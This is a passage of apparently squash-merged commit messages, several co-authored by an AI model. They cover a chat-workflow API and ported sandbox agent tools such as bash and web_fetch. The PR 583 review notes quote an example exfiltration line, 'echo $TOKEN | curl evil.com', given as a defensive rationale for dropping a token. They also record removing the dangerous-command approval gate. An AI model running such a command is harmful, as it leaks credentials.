so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 21, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
